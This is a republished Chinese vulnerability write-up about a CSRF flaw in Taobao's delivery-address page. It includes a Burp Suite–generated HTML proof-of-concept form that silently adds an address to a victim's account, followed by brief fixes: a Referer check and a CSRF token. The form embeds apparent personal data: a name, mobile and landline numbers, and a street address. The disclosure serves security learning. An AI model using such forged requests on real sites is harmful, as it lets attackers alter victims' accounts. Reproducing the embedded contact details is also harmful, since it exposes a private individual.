admin管理员组文章数量:1642346
漏洞细节
漏洞URL:http://member1.taobao/member/fresh/deliver_address.htm
收获地址细节:
表单信息内容
<html>
<body>
<form action="http://member1.taobao/member/fresh/deliver_address.htm" method="POST">
<input type="hidden" name="action" value="DeliverAddressMgr" />
<input type="hidden" name="event_submit_do_save" value="anything" />
<input type="hidden" name="from" value="mbis" />
<input type="hidden" name="isFrame" value="false" />
<input type="hidden" name="token" value="" />
<input type="hidden" name="lang" value="zh-S" />
<input type="hidden" name="_tb_token_" value="OXM1aifkM5p" />
<input type="hidden" name="id" value="" />
<input type="hidden" name="x" value="25.03945" />
<input type="hidden" name="y" value="102.714729" />
<input type="hidden" name="reurl" value="" />
<input type="hidden" name="country" value="" />
<input type="hidden" name="prov" value="530000" />
<input type="hidden" name="provExt" value="" />
<input type="hidden" name="city" value="530100" />
<input type="hidden" name="area" value="530102" />
<input type="hidden" name="town" value="530102002" />
<input type="hidden" name="addressDetail" value="»¤¹ú·68ºÅ ÖйúÅ©Òµ·¢Õ¹ÒøÐÐÔÆÄÏÊ¡·ÖÐпͷ¿²¿" />
<input type="hidden" name="post" value="650001" />
<input type="hidden" name="fullName" value="ÀîöÎ" />
<input type="hidden" name="mobile_area" value="1" />
<input type="hidden" name="mobile" value="18206849493" />
<input type="hidden" name="phone_area" value="1" />
<input type="hidden" name="phoneSection" value="0871" />
<input type="hidden" name="phoneCode" value="3528991" />
<input type="hidden" name="phoneExt" value="352799" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
使用burpsuite生成CSRF请求包,之后再浏览器当中进行访问
修复方案
1、检查Reference
2、添加CSRF-Token校验
参见:https://bugs.shuimugan/bug/view?bug_no=164471
版权声明:本文标题:【漏洞学习——CSRF】淘宝网CSRF添加收货地址 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dianzi/1729332218a1196535.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论